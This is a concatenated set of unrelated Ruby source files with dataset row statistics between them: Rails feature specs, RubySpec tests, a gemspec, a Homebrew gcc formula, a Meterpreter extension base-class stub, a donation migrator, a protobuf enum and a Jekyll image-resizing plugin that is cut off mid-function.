protocol_01 = create(:protocol, name: "testProtocol1")
create(:facility_group, organization: ihmi, state: "Punjab", name: "Bathinda")
facility_page.click_add_facility_group_button
expect(page).to have_content("New district")
facility_group.add_new_facility_group(
org_name: "IHMI2",
name: "testfacilitygroup",
description: "testDescription",
protocol_name: protocol_01.name,
state: "Punjab"
)
expect(page).to have_content("Bathinda")
expect(page).to have_content("Testfacilitygroup")
facility_page.is_edit_button_present_for_facilitygroup("Testfacilitygroup")
end
end
it "admin should be able to delete facility group without facility " do
facility_page.click_edit_button_present_for_facilitygroup(ihmi_group_bathinda.name)
expect(page).to have_content("Edit district")
facility_group.click_on_delete_facility_group_button
end
end
end
context "facility listing" do
context "admin has permission to manage facilities for a district" do
before(:each) do
visit root_path
sign_in(admin.email_authentication)
visit admin_facilities_path
end
it "displays a new facility link" do
expect(page).to have_link("Facility", href: new_admin_facility_group_facility_path(ihmi_group_bathinda))
end
end
context "admin does not have permission to manage facilities at a district" do
let(:admin) { create(:admin, :manager, accesses: [build(:access, resource: create(:facility_group))]) }
before(:each) do
visit root_path
sign_in(admin.email_authentication)
visit admin_facilities_path
end
it "does not display a new facility link" do
expect(page).not_to have_link("Facility", href: new_admin_facility_group_facility_path(ihmi_group_bathinda))
end
end
end
end
| 36.813084 | 116 | 0.674791 |
285ca01b26ffc8e3308b2b3028736ec0e99c97d1 | 529 | require File.expand_path('../../../spec_helper', __FILE__)
require File.expand_path('../fixtures/classes', __FILE__)
require File.expand_path('../shared/iteration', __FILE__)
require File.expand_path('../shared/each', __FILE__)
require File.expand_path('../../enumerable/shared/enumeratorized', __FILE__)
describe "Hash#each_pair" do
it_behaves_like(:hash_each, :each_pair)
it_behaves_like(:hash_iteration_no_block, :each_pair)
it_behaves_like(:enumeratorized_with_origin_size, :each_pair, { 1 => 2, 3 => 4, 5 => 6 })
end
| 44.083333 | 91 | 0.752363 |
6ac8d9b97d35fec805d3b69152c89765b7d32fbb | 524 | require "rails_helper"
describe "the Site Settings", js: true do
login_success
it "Settings Form" do
admin_sign_in
visit "#{cama_root_relative_path}/admin/settings/site"
expect(page).to have_content("Basic Information")
expect(page).to have_content("Configuration")
within '#site_settings_form' do
fill_in "site_name", with: 'New site title'
fill_in "site_description", with: 'Site description'
click_button "Submit"
end
expect(page).to have_css('.alert-success')
end
end | 30.823529 | 58 | 0.711832 |
6a557c2be020c6c7708f1ce219d6fdf71e5ead1b | 1,376 | # -*- encoding: utf-8 -*-
require File.expand_path("../lib/fuzzy_match/version", __FILE__)
Gem::Specification.new do |s|
s.name = "fuzzy_match"
s.version = FuzzyMatch::VERSION
s.authors = ["Seamus Abshere"]
s.email = ["[email protected]"]
s.homepage = "https://github.com/seamusabshere/fuzzy_match"
s.summary = %Q{Find a needle in a haystack using string similarity and (optionally) regexp rules. Replaces loose_tight_dictionary.}
s.description = %Q{Find a needle in a haystack using string similarity and (optionally) regexp rules. Replaces loose_tight_dictionary.}
s.rubyforge_project = "fuzzy_match"
s.files = `git ls-files`.split("\n")
s.test_files = `git ls-files -- test/*`.split("\n")
s.executables = `git ls-files -- bin/*`.split("\n").map{ |f| File.basename(f) }
s.require_paths = ["lib"]
# needed if you use FuzzyMatch::CachedResult
s.add_development_dependency 'active_record_inline_schema', '>=0.4.0'
# development dependencies
s.add_development_dependency 'pry'
s.add_development_dependency 'rspec-core'
s.add_development_dependency 'rspec-expectations'
s.add_development_dependency 'rspec-mocks'
s.add_development_dependency 'cohort_analysis'
s.add_development_dependency 'weighted_average'
s.add_development_dependency 'yard'
s.add_development_dependency 'amatch'
end
| 41.69697 | 137 | 0.722384 |
61e77094014cac8e82ce9d52fae772e7145bac52 | 419 | # Be sure to restart your server when you modify this file.
# Add new mime types for use in respond_to blocks:
# Mime::Type.register "text/richtext", :rtf
Mime::Type.register "application/n-triples", :nt
Mime::Type.register "application/ld+json", :jsonld
Mime::Type.register "text/turtle", :ttl
Mime::Type.register 'application/x-endnote-refer', :endnote
Mime::Type.register 'application/x-research-info-systems', :ris | 46.555556 | 63 | 0.75895 |
ab486e8b0d2db7a3f3ef64a3e57c03e7a2dd235d | 520 | #!/usr/bin/env ruby
module Rex
module Post
module Meterpreter
###
#
# Base class for all extensions that holds a reference to the
# client context that they are part of. Each extension also has a defined
# name through which it is referenced.
#
###
class Extension
#
# Initializes the client and name attributes.
#
def initialize(client, name)
self.client = client
self.name = name
end
#
# The name of the extension.
#
attr_accessor :name
protected
attr_accessor :client # :nodoc:
end
end; end; end | 16.25 | 74 | 0.719231 |
e922f5379db37cb4f62cb94422c142220b8e4f44 | 9,671 | class Gcc < Formula
def arch
if Hardware::CPU.type == :intel
if MacOS.prefer_64_bit?
"x86_64"
else
"i686"
end
elsif Hardware::CPU.type == :ppc
if MacOS.prefer_64_bit?
"powerpc64"
else
"powerpc"
end
end
end
def osmajor
`uname -r`.chomp
end
desc "GNU compiler collection"
homepage "https://gcc.gnu.org"
url "http://ftpmirror.gnu.org/gcc/gcc-5.3.0/gcc-5.3.0.tar.bz2"
mirror "https://ftp.gnu.org/gnu/gcc/gcc-5.3.0/gcc-5.3.0.tar.bz2"
sha256 "b84f5592e9218b73dbae612b5253035a7b34a9a1f7688d2e1bfaaf7267d5c4db"
head "svn://gcc.gnu.org/svn/gcc/trunk"
bottle do
sha256 "90ad519442f0336b0beee3cf2be305ea495fb2e2ad82c2a96c5b0c3bcef8f268" => :el_capitan
sha256 "334bd7afbec85740ec7c49eedf52858209c31ed1f284ad10ccab7c50a41bcd35" => :yosemite
sha256 "679c9bfc2082f8ab4320c89082b08c4eab9523dd72bfed27fe4b712de7013a1f" => :mavericks
end
option "with-java", "Build the gcj compiler"
option "with-all-languages", "Enable all compilers and languages, except Ada"
option "with-nls", "Build with native language support (localization)"
option "with-jit", "Build the jit compiler"
option "without-fortran", "Build without the gfortran compiler"
# enabling multilib on a host that can't run 64-bit results in build failures
option "without-multilib", "Build without multilib support" if MacOS.prefer_64_bit?
depends_on "gmp"
depends_on "libmpc"
depends_on "mpfr"
depends_on "isl"
depends_on "ecj" if build.with?("java") || build.with?("all-languages")
if MacOS.version < :leopard
# The as that comes with Tiger isn't capable of dealing with the
# PPC asm that comes in libitm
depends_on "cctools" => :build
end
fails_with :gcc_4_0
fails_with :llvm
# GCC bootstraps itself, so it is OK to have an incompatible C++ stdlib
cxxstdlib_check :skip
# The bottles are built on systems with the CLT installed, and do not work
# out of the box on Xcode-only systems due to an incorrect sysroot.
pour_bottle? do
reason "The bottle needs the Xcode CLT to be installed."
satisfy { MacOS::CLT.installed? }
end
def version_suffix
version.to_s.slice(/\d/)
end
# Fix for libgccjit.so linkage on Darwin
# https://gcc.gnu.org/bugzilla/show_bug.cgi?id=64089
patch :DATA
def install
# GCC will suffer build errors if forced to use a particular linker.
ENV.delete "LD"
if MacOS.version < :leopard
ENV["AS"] = ENV["AS_FOR_TARGET"] = "#{Formula["cctools"].bin}/as"
end
if build.with? "all-languages"
# Everything but Ada, which requires a pre-existing GCC Ada compiler
# (gnat) to bootstrap. GCC 4.6.0 adds go as a language option, but it is
# currently only compilable on Linux.
languages = %w[c c++ objc obj-c++ fortran java jit]
else
# C, C++, ObjC compilers are always built
languages = %w[c c++ objc obj-c++]
languages << "fortran" if build.with? "fortran"
languages << "java" if build.with? "java"
languages << "jit" if build.with? "jit"
end
args = [
"--build=#{arch}-apple-darwin#{osmajor}",
"--prefix=#{prefix}",
"--libdir=#{lib}/gcc/#{version_suffix}",
"--enable-languages=#{languages.join(",")}",
# Make most executables versioned to avoid conflicts.
"--program-suffix=-#{version_suffix}",
"--with-gmp=#{Formula["gmp"].opt_prefix}",
"--with-mpfr=#{Formula["mpfr"].opt_prefix}",
"--with-mpc=#{Formula["libmpc"].opt_prefix}",
"--with-isl=#{Formula["isl"].opt_prefix}",
"--with-system-zlib",
"--enable-libstdcxx-time=yes",
"--enable-stage1-checking",
"--enable-checking=release",
"--enable-lto",
# Use 'bootstrap-debug' build configuration to force stripping of object
# files prior to comparison during bootstrap (broken by Xcode 6.3).
"--with-build-config=bootstrap-debug",
"--disable-werror",
"--with-pkgversion=Homebrew #{name} #{pkg_version} #{build.used_options*" "}".strip,
"--with-bugurl=https://github.com/Homebrew/homebrew/issues",
]
# "Building GCC with plugin support requires a host that supports
# -fPIC, -shared, -ldl and -rdynamic."
args << "--enable-plugin" if MacOS.version > :tiger
# The pre-Mavericks toolchain requires the older DWARF-2 debugging data
# format to avoid failure during the stage 3 comparison of object files.
# See: https://gcc.gnu.org/bugzilla/show_bug.cgi?id=45248
args << "--with-dwarf2" if MacOS.version <= :mountain_lion
args << "--disable-nls" if build.without? "nls"
if build.with?("java") || build.with?("all-languages")
args << "--with-ecj-jar=#{Formula["ecj"].opt_share}/java/ecj.jar"
end
if build.without?("multilib") || !MacOS.prefer_64_bit?
args << "--disable-multilib"
else
args << "--enable-multilib"
end
args << "--enable-host-shared" if build.with?("jit") || build.with?("all-languages")
# Ensure correct install names when linking against libgcc_s;
# see discussion in https://github.com/Homebrew/homebrew/pull/34303
inreplace "libgcc/config/t-slibgcc-darwin", "@shlib_slibdir@", "#{HOMEBREW_PREFIX}/lib/gcc/#{version_suffix}"
mkdir "build" do
unless MacOS::CLT.installed?
# For Xcode-only systems, we need to tell the sysroot path.
# "native-system-headers" will be appended
args << "--with-native-system-header-dir=/usr/include"
args << "--with-sysroot=#{MacOS.sdk_path}"
end
system "../configure", *args
system "make", "bootstrap"
system "make", "install"
if build.with?("fortran") || build.with?("all-languages")
bin.install_symlink bin/"gfortran-#{version_suffix}" => "gfortran"
end
end
# Handle conflicts between GCC formulae and avoid interfering
# with system compilers.
# Since GCC 4.8 libffi stuff are no longer shipped.
# Rename man7.
Dir.glob(man7/"*.7") { |file| add_suffix file, version_suffix }
# Even when suffixes are appended, the info pages conflict when
# install-info is run. TODO fix this.
info.rmtree
# Rename java properties
if build.with?("java") || build.with?("all-languages")
config_files = [
"#{lib}/gcc/#{version_suffix}/logging.properties",
"#{lib}/gcc/#{version_suffix}/security/classpath.security",
"#{lib}/gcc/#{version_suffix}/i386/logging.properties",
"#{lib}/gcc/#{version_suffix}/i386/security/classpath.security",
]
config_files.each do |file|
add_suffix file, version_suffix if File.exist? file
end
end
end
def add_suffix(file, suffix)
dir = File.dirname(file)
ext = File.extname(file)
base = File.basename(file, ext)
File.rename file, "#{dir}/#{base}-#{suffix}#{ext}"
end
def caveats
if build.with?("multilib") then <<-EOS.undent
GCC has been built with multilib support. Notably, OpenMP may not work:
https://gcc.gnu.org/bugzilla/show_bug.cgi?id=60670
If you need OpenMP support you may want to
brew reinstall gcc --without-multilib
EOS
end
end
test do
(testpath/"hello-c.c").write <<-EOS.undent
#include <stdio.h>
int main()
{
puts("Hello, world!");
return 0;
}
EOS
system "#{bin}/gcc-#{version_suffix}", "-o", "hello-c", "hello-c.c"
assert_equal "Hello, world!\n", `./hello-c`
(testpath/"hello-cc.cc").write <<-EOS.undent
#include <iostream>
int main()
{
std::cout << "Hello, world!" << std::endl;
return 0;
}
EOS
system "#{bin}/g++-#{version_suffix}", "-o", "hello-cc", "hello-cc.cc"
assert_equal "Hello, world!\n", `./hello-cc`
if build.with?("fortran") || build.with?("all-languages")
fixture = <<-EOS.undent
integer,parameter::m=10000
real::a(m), b(m)
real::fact=0.5
do concurrent (i=1:m)
a(i) = a(i) + fact*b(i)
end do
print *, "done"
end
EOS
(testpath/"in.f90").write(fixture)
system "#{bin}/gfortran", "-c", "in.f90"
system "#{bin}/gfortran", "-o", "test", "in.o"
assert_equal "done", `./test`.strip
end
end
end
__END__
diff --git a/gcc/jit/Make-lang.in b/gcc/jit/Make-lang.in
index 44d0750..4df2a9c 100644
--- a/gcc/jit/Make-lang.in
+++ b/gcc/jit/Make-lang.in
@@ -85,8 +85,7 @@ $(LIBGCCJIT_FILENAME): $(jit_OBJS) \
$(jit_OBJS) libbackend.a libcommon-target.a libcommon.a \
$(CPPLIB) $(LIBDECNUMBER) $(LIBS) $(BACKENDLIBS) \
$(EXTRA_GCC_OBJS) \
- -Wl,--version-script=$(srcdir)/jit/libgccjit.map \
- -Wl,-soname,$(LIBGCCJIT_SONAME)
+ -Wl,-install_name,$(LIBGCCJIT_SONAME)
$(LIBGCCJIT_SONAME_SYMLINK): $(LIBGCCJIT_FILENAME)
ln -sf $(LIBGCCJIT_FILENAME) $(LIBGCCJIT_SONAME_SYMLINK)
diff --git a/gcc/jit/jit-playback.c b/gcc/jit/jit-playback.c
index 925fa86..01cfd4b 100644
--- a/gcc/jit/jit-playback.c
+++ b/gcc/jit/jit-playback.c
@@ -2416,6 +2416,15 @@ invoke_driver (const char *ctxt_progname,
time. */
ADD_ARG ("-fno-use-linker-plugin");
+#if defined (DARWIN_X86) || defined (DARWIN_PPC)
+ /* OS X's linker defaults to treating undefined symbols as errors.
+ If the context has any imported functions or globals they will be
+ undefined until the .so is dynamically-linked into the process.
+ Ensure that the driver passes in "-undefined dynamic_lookup" to the
+ linker. */
+ ADD_ARG ("-Wl,-undefined,dynamic_lookup");
+#endif
+
/* pex argv arrays are NULL-terminated. */
argvec.safe_push (NULL);
| 34.173145 | 113 | 0.643677 |
ff586980ec958e7f78aa87c1055895352ed13fd1 | 72 | Rails.application.routes.draw do
get 'index', controller: 'dummy'
end
| 18 | 34 | 0.75 |
33c6b5a1d302de96718ac4d6a6c6dc748d5e5055 | 3,333 | require_relative '../../spec_helper'
require_relative 'fixtures/classes'
describe "BasicObject#instance_exec" do
it "is a public instance method" do
BasicObject.should have_public_instance_method(:instance_exec)
end
it "sets self to the receiver in the context of the passed block" do
a = BasicObject.new
a.instance_exec { self }.equal?(a).should be_true
end
it "passes arguments to the block" do
a = BasicObject.new
a.instance_exec(1) { |b| b }.should equal(1)
end
it "raises a LocalJumpError unless given a block" do
lambda { "hola".instance_exec }.should raise_error(LocalJumpError)
end
it "has an arity of -1" do
Object.new.method(:instance_exec).arity.should == -1
end
it "accepts arguments with a block" do
lambda { "hola".instance_exec(4, 5) { |a,b| a + b } }.should_not raise_error
end
it "doesn't pass self to the block as an argument" do
"hola".instance_exec { |o| o }.should be_nil
end
it "passes any arguments to the block" do
Object.new.instance_exec(1,2) {|one, two| one + two}.should == 3
end
it "only binds the exec to the receiver" do
f = Object.new
f.instance_exec do
def foo
1
end
end
f.foo.should == 1
lambda { Object.new.foo }.should raise_error(NoMethodError)
end
# TODO: This should probably be replaced with a "should behave like" that uses
# the many scoping/binding specs from kernel/eval_spec, since most of those
# behaviors are the same for instance_exec. See also module_eval/class_eval.
it "binds self to the receiver" do
s = "hola"
(s == s.instance_exec { self }).should == true
end
it "binds the block's binding self to the receiver" do
s = "hola"
(s == s.instance_exec { eval "self", binding }).should == true
end
it "executes in the context of the receiver" do
"Ruby-fu".instance_exec { size }.should == 7
Object.class_eval { "Ruby-fu".instance_exec{ to_s } }.should == "Ruby-fu"
end
it "has access to receiver's instance variables" do
BasicObjectSpecs::IVars.new.instance_exec { @secret }.should == 99
end
it "sets class variables in the receiver" do
BasicObjectSpecs::InstExec.class_variables.should include(:@@count)
BasicObjectSpecs::InstExec.send(:class_variable_get, :@@count).should == 2
end
it "raises a TypeError when defining methods on an immediate" do
lambda do
1.instance_exec { def foo; end }
end.should raise_error(TypeError)
lambda do
:foo.instance_exec { def foo; end }
end.should raise_error(TypeError)
end
quarantine! do # Not clean, leaves cvars lying around to break other specs
it "scopes class var accesses in the caller when called on a Fixnum" do
# Fixnum can take instance vars
Fixnum.class_eval "@@__tmp_instance_exec_spec = 1"
(defined? @@__tmp_instance_exec_spec).should == nil
@@__tmp_instance_exec_spec = 2
1.instance_exec { @@__tmp_instance_exec_spec }.should == 2
Fixnum.__send__(:remove_class_variable, :@@__tmp_instance_exec_spec)
end
end
it "raises a TypeError when defining methods on numerics" do
lambda do
(1.0).instance_exec { def foo; end }
end.should raise_error(TypeError)
lambda do
(1 << 64).instance_exec { def foo; end }
end.should raise_error(TypeError)
end
end
| 30.861111 | 80 | 0.692769 |
ab40fb2872f70c67aa804cfdf5f1bea91bdb3c0e | 302 | # This is a helper class to better deal with model translation tools
# when used in combination with Globalize2 translated internal
class ModelTranslation < ::Translation
attr_accessor :table_name
attr_accessor :facet
attr_accessor :locale
attr_accessor :record_id
attr_accessor :value
end
| 27.454545 | 69 | 0.804636 |
d5899c15af6aa7407e41bc8c2ff4978a9e0b221d | 511 | class MeasurementUnitQualifier < Sequel::Model
plugin :time_machine
plugin :oplog, primary_key: :measurement_unit_qualifier_code
set_primary_key [:measurement_unit_qualifier_code]
one_to_one :measurement_unit_qualifier_description, key: :measurement_unit_qualifier_code,
primary_key: :measurement_unit_qualifier_code
delegate :formatted_measurement_unit_qualifier, :description, to: :measurement_unit_qualifier_description, allow_nil: true
end
| 42.583333 | 124 | 0.767123 |
39b78829202d44fd987f4bb12260a27342c23f75 | 136 | module Selenium
module Client
class CommandError < RuntimeError
end
class ProtocolError < RuntimeError
end
end
end
| 13.6 | 38 | 0.713235 |
d5245a30fe0825ac3be7b080e62b2cf4e91f93fc | 677 | # Names a match to influence tree construction.
#
# Example:
#
# str('foo') # will return 'foo',
# str('foo').as(:foo) # will return :foo => 'foo'
#
class Parslet::Atoms::Named < Parslet::Atoms::Base
attr_reader :parslet, :name
def initialize(parslet, name)
super()
@parslet, @name = parslet, name
end
def apply(source, context)
success, value = result = parslet.apply(source, context)
return result unless success
succ(
produce_return_value(
value))
end
def to_s_inner(prec)
"#{name}:#{parslet.to_s(prec)}"
end
private
def produce_return_value(val)
{ name => flatten(val, true) }
end
end
| 20.515152 | 60 | 0.623338 |
bbf696173e0e9ea079799f807b8894b7759b8fe2 | 1,176 | # Generated by the protocol buffer compiler. DO NOT EDIT!
# source: google/ads/googleads/v7/enums/custom_interest_member_type.proto
require 'google/api/annotations_pb'
require 'google/protobuf'
Google::Protobuf::DescriptorPool.generated_pool.build do
add_file("google/ads/googleads/v7/enums/custom_interest_member_type.proto", :syntax => :proto3) do
add_message "google.ads.googleads.v7.enums.CustomInterestMemberTypeEnum" do
end
add_enum "google.ads.googleads.v7.enums.CustomInterestMemberTypeEnum.CustomInterestMemberType" do
value :UNSPECIFIED, 0
value :UNKNOWN, 1
value :KEYWORD, 2
value :URL, 3
end
end
end
module Google
module Ads
module GoogleAds
module V7
module Enums
CustomInterestMemberTypeEnum = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.ads.googleads.v7.enums.CustomInterestMemberTypeEnum").msgclass
CustomInterestMemberTypeEnum::CustomInterestMemberType = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.ads.googleads.v7.enums.CustomInterestMemberTypeEnum.CustomInterestMemberType").enummodule
end
end
end
end
end
| 36.75 | 221 | 0.763605 |
bb051f2f07ecfaea2050a71bbefe00154baf3c9b | 2,786 | class DonationMigrator
def initialize(donations: nil, user: nil, params: nil)
@donations = donations
@user = user
@params = params
end
def self.all
donations = scope.all.group_by { |x| "#{x.edit_source} #{x.created_at.to_date}" }
donations = donations.map { |_, versions| DonationToMigrate.new(versions) }.sort_by(&:edit_source)
new(donations: donations)
end
def self.migrate(user, params)
Donation.transaction do
raise PermissionError unless user.can_create_donations?
new(user: user, params: params).migrate
end
end
def self.any?
scope.count > 0
end
def self.scope
Item.paper_trail_version_class
.where(edit_reason: "donation")
.where("edit_source NOT SIMILAR TO ?", "Donation #\\d+")
end
def migrate # rubocop:disable Metrics/AbcSize, Metrics/MethodLength
donor = Donor.create_or_find_donor(@params)
donations_params = @params.require(:donations)
version_ids_params = donations_params.require(:version_ids)
notes_params = donations_params.require(:notes)
date_params = donations_params.require(:date)
version_ids_params.each_with_index do |version_ids, i|
version_ids = version_ids.split(",").map(&:to_i)
notes = notes_params[i]
date = date_params[i]
versions = DonationMigrator.scope.includes(:item).find(version_ids)
donation = Donation.create!(
donor: donor,
user: @user,
notes: notes,
donation_date: date,
created_at: versions.first.created_at,
updated_at: versions.first.created_at
)
versions.each do |version|
item = version.reify
quantity =
case version.edit_method
when "new_total"
version.edit_amount
when "add"
version.edit_amount
when "subtract"
-version.edit_amount
else
raise "Invalid edit_method: #{version.edit_method}"
end
details = DonationDetail.new(
donation: donation,
item: item,
quantity: quantity,
value: item.value,
created_at: version.created_at,
updated_at: version.created_at
)
details.for_migration = true
details.save!
end
DonationMigrator.scope.where(id: version_ids).update_all(edit_source: "Donation ##{donation.id}")
end
end
def each(&block)
@donations.each(&block)
end
class DonationToMigrate
def initialize(versions)
@versions = versions
end
def edit_source
@versions.first.edit_source.presence || "Unknown Donor"
end
def created_at
@versions.first.created_at
end
def checkbox_value
@versions.map(&:id).join(",")
end
end
end
| 26.037383 | 103 | 0.641421 |
ac1e32fd86bdf05961356dcb8f1e632081a2064a | 103 | require 'spec_helper'
describe(Ingredient) do
it { should validate_uniqueness_of(:ingredient) }
end
| 17.166667 | 51 | 0.786408 |
e8c00c19fc471b6305f7b3fc59ea924788b2a577 | 2,487 | Rails.application.routes.draw do
root "zernikes#main"
# post "/compute", to: "zernikes#compute", as: "compute"
# get "/compute", to: "zernikes#compute"
post "/update", to: "zernikes#update", as: "update"
get "/manual", to: "zernikes#manual", as: "enter_manually"
post "/set_all_zero", to: "zernikes#set_all_zero", as: "set_all_zero"
post "/random", to: "zernikes#random", as: "random"
get "/", to: "zernikes#main", as: "home"
get "/about", to: "zernikes#about", as: "about"
# post "/compute", to: "zernikes#compute", as: "compute"
match "/zernikes/upload" => "zernikes#upload", :as => "upload_zernike", via: [:get, :post]
match "/compute" => "zernikes#compute", :as => "compute", via: [:get, :post]
resources :zernikes
get "/download" => "zernikes#download", :as => "download"
get "/zernikes/image", to: "zernikes#get_image", as: "get_image"
# The priority is based upon order of creation: first created -> highest priority.
# See how all your routes lay out with "rake routes".
# You can have the root of your site routed with "root"
# get 'new' => 'zernike#new', :as => 'new_zernike'
# Example of regular route:
# get 'products/:id' => 'catalog#view'
# Example of named route that can be invoked with purchase_url(id: product.id)
# get 'products/:id/purchase' => 'catalog#purchase', as: :purchase
# Example resource route (maps HTTP verbs to controller actions automatically):
# resources :products
# Example resource route with options:
# resources :products do
# member do
# get 'short'
# post 'toggle'
# end
#
# collection do
# get 'sold'
# end
# end
# Example resource route with sub-resources:
# resources :products do
# resources :comments, :sales
# resource :seller
# end
# Example resource route with more complex sub-resources:
# resources :products do
# resources :comments
# resources :sales do
# get 'recent', on: :collection
# end
# end
# Example resource route with concerns:
# concern :toggleable do
# post 'toggle'
# end
# resources :posts, concerns: :toggleable
# resources :photos, concerns: :toggleable
# Example resource route within a namespace:
# namespace :admin do
# # Directs /admin/products/* to Admin::ProductsController
# # (app/controllers/admin/products_controller.rb)
# resources :products
# end
end
| 31.884615 | 92 | 0.637314 |
e23ccb0abe1f0e2f90989f81762b4677e3bbcf97 | 9,695 | # Title: Jekyll Image Tag
# Authors: Rob Wierzbowski : @robwierzbowski
#
# Description: Better images for Jekyll.
#
# Download: https://github.com/robwierzbowski/jekyll-image-tag
# Documentation: https://github.com/robwierzbowski/jekyll-image-tag/readme.md
# Issues: https://github.com/robwierzbowski/jekyll-image-tag/issues
#
# Syntax: {% image [preset or WxH] path/to/img.jpg [attr="value"] %}
# Example: {% image poster.jpg alt="The strange case of Dr. Jekyll" %}
# {% image gallery poster.jpg alt="The strange case of Dr. Jekyll" class="gal-img" data-selected %}
# {% image 350xAUTO poster.jpg alt="The strange case of Dr. Jekyll" class="gal-img" data-selected %}
#
# See the documentation for full configuration and usage instructions.
require 'fileutils'
require 'pathname'
require 'digest/md5'
require 'mini_magick'
require 'uri'
module Jekyll
class Image < Liquid::Tag
def initialize(tag_name, markup, tokens)
@markup = markup
super
end
def render(context)
# Render any liquid variables in tag arguments and unescape template code
render_markup = Liquid::Template.parse(@markup).render(context).gsub(/\\\{\\\{|\\\{\\%/, '\{\{' => '{{', '\{\%' => '{%')
# Gather settings
site = context.registers[:site]
settings = site.config['image']
markup = /^(?:(?<preset>[^\s.:\/]+)\s+)?\"(?<image_src>[^\"]+\.[a-zA-Z0-9]{3,4})\"\s*(?<html_attr>[\s\S]+)?$/.match(render_markup)
puts markup.inspect
preset = settings['presets'][ markup[:preset] ]
raise "Image Tag can't read this tag. Try {% image [preset or WxH] path/to/img.jpg [attr=\"value\"] %}." unless markup
# Assign defaults
settings['source'] ||= '.'
settings['output'] ||= 'generated'
settings['wrapperTag'] ||= 'div'
# Prevent Jekyll from erasing our generated files
site.config['keep_files'] << settings['output'] unless site.config['keep_files'].include?(settings['output'])
# Process instance
instance = if preset
{
:width => preset['width'],
:height => preset['height'],
:src => markup[:image_src]
}
elsif dim = /^(?:(?<width>\d+)|auto)(?:x)(?:(?<height>\d+)|auto)$/i.match(markup[:preset])
{
:width => dim['width'],
:height => dim['height'],
:src => markup[:image_src]
}
else
{
:width => nil,
:height => nil,
:src => markup[:image_src]
}
end
# Process html attributes
html_attr = if markup[:html_attr]
Hash[ *markup[:html_attr].scan(/(?<attr>[^\s="]+)(?:="(?<value>[^"]+)")?\s?/).flatten ]
else
{}
end
if preset && preset['attr']
html_attr = preset['attr'].merge(html_attr)
end
html_attr_string = html_attr.inject('') { |string, attrs|
if attrs[0].downcase != 'href'
if attrs[1] and attrs[0]
string << "#{attrs[0]}=\"#{attrs[1]}\" "
else
string << "#{attrs[0]} "
end
end
}
# Get the post's title so we can place generated images in a subfolder
if context.registers[:site].posts and context["page"]["id"]
id = context["page"]["id"]
posts = context.registers[:site].posts
post = posts [posts.index {|post| post.id == id}]
post_slug = (Pathname.new post.url).basename
else
post_slug = ""
end
if post_slug != ""
puts post_slug
else
puts "Processing some template file"
end
# Raise some exceptions before we start expensive processing
raise "Image Tag can't find the \"#{markup[:preset]}\" preset. Check image: presets in _config.yml for a list of presets." unless preset || dim || markup[:preset].nil?
# Hack for easy 2x images
instance_0x = Marshal.load( Marshal.dump(instance) )
instance_2x = Marshal.load( Marshal.dump(instance) )
if instance[:width] || instance[:height]
generated_src = URI.escape( generate_image(instance, site.source, site.dest, settings['source'], File.join(settings['output'], post_slug) ).to_s )
# Calculate 0x resolution
instance_0x[:width] = (instance[:width].to_f / 2).round
instance_0x[:height] = (instance[:height].to_f / 2).round
generated_src_0x = URI.escape( generate_image(instance_0x, site.source, site.dest, settings['source'], File.join(settings['output'], post_slug) ).to_s )
# Calculate 2x resolution
instance_2x[:width] = (instance[:width].to_f * 2).round
instance_2x[:height] = (instance[:height].to_f * 2).round
generated_src_2x = URI.escape( generate_image(instance_2x, site.source, site.dest, settings['source'], File.join(settings['output'], post_slug) ).to_s )
else
# Generate the 2x image at full resolution
generated_src_2x = URI.escape( generate_image(instance_2x, site.source, site.dest, settings['source'], File.join(settings['output'], post_slug) ).to_s )
# Generate a 1x image that's half the size of the 2x image
instance[:width] = (instance_2x[:width].to_f / 2).round
instance[:height] = (instance_2x[:height].to_f / 2).round
generated_src = URI.escape( generate_image(instance, site.source, site.dest, settings['source'], File.join(settings['output'], post_slug) ).to_s )
# Generate a 0x image that's a quarter of the size of the 2x image
instance_0x[:width] = (instance_2x[:width].to_f / 4).round
instance_0x[:height] = (instance_2x[:height].to_f / 4).round
generated_src_0x = URI.escape( generate_image(instance, site.source, site.dest, settings['source'], File.join(settings['output'], post_slug) ).to_s )
end
unless generated_src && generated_src_0x && generated_src_2x
return
end
baseURL = Jekyll.configuration({})['baseurl']
# Build the output HTML
output = "<#{settings['wrapperTag']} class=\"img-container #{markup[:preset]}\" style=\"padding-bottom: #{instance[:container_padding]}%;\">"
if html_attr["href"]
output += "<a href=\"#{html_attr["href"]}\">"
end
output += "<img src=\"#{baseURL}#{generated_src}\" srcset=\"#{baseURL}#{generated_src} #{(instance[:width] * 3/4).round}w, #{baseURL}#{generated_src} #{(instance[:width] * 3/4).round}w 2x, #{baseURL}#{generated_src_2x} 2x, #{baseURL}#{generated_src}\" #{html_attr_string} width=\"#{instance[:width]}\" height=\"#{instance[:height]}\">"
if html_attr["href"]
output += "</a>"
end
output += "</#{settings['wrapperTag']}>"
# Actually yield the output, yay
output
end
def generate_image(instance, site_source, site_dest, image_source, image_dest)
if (Pathname.new instance[:src]).absolute?
image_source_path = File.join(instance[:src])
else
image_source_path = File.join(site_source, image_source, instance[:src])
end
unless File.exists?image_source_path
puts "Missing: #{image_source_path}"
return false
end
image = MiniMagick::Image.open(image_source_path)
digest = Digest::MD5.hexdigest(image.to_blob).slice!(0..5)
image_dir = File.dirname(instance[:src])
ext = File.extname(instance[:src])
basename = File.basename(instance[:src], ext)
orig_width = image[:width].to_f
orig_height = image[:height].to_f
orig_ratio = orig_width/orig_height
gen_width = if instance[:width] and instance[:width].to_f > 0
instance[:width].to_f
elsif instance[:height]
orig_ratio * instance[:height].to_f
else
orig_width
end
gen_height = if instance[:height] and instance[:height].to_f > 0
instance[:height].to_f
elsif instance[:width]
instance[:width].to_f / orig_ratio
else
orig_height
end
gen_ratio = gen_width/gen_height
# Don't allow upscaling. If the image is smaller than the requested dimensions, recalculate.
if orig_width < gen_width || orig_height < gen_height
undersize = true
gen_width = if orig_ratio < gen_ratio then orig_width else orig_height * gen_ratio end
gen_height = if orig_ratio > gen_ratio then orig_height else orig_width/gen_ratio end
end
gen_name = "#{basename}-#{gen_width.round}x#{gen_height.round}-#{digest}#{ext}"
gen_dest_dir = File.join(site_dest, image_dest)
gen_dest_file = File.join(gen_dest_dir, gen_name)
# Generate resized files
unless File.exists?(gen_dest_file)
warn "Warning:".yellow + " #{instance[:src]} is smaller than the requested output file. It will be resized without upscaling." if undersize
# If the destination directory doesn't exist, create it
FileUtils.mkdir_p(gen_dest_dir) unless File.exist?(gen_dest_dir)
# Let people know their images are being generated
puts "Generating #{gen_name}"
# Scale and crop
image.combine_options do |i|
i.resize "#{gen_width}x#{gen_height}^"
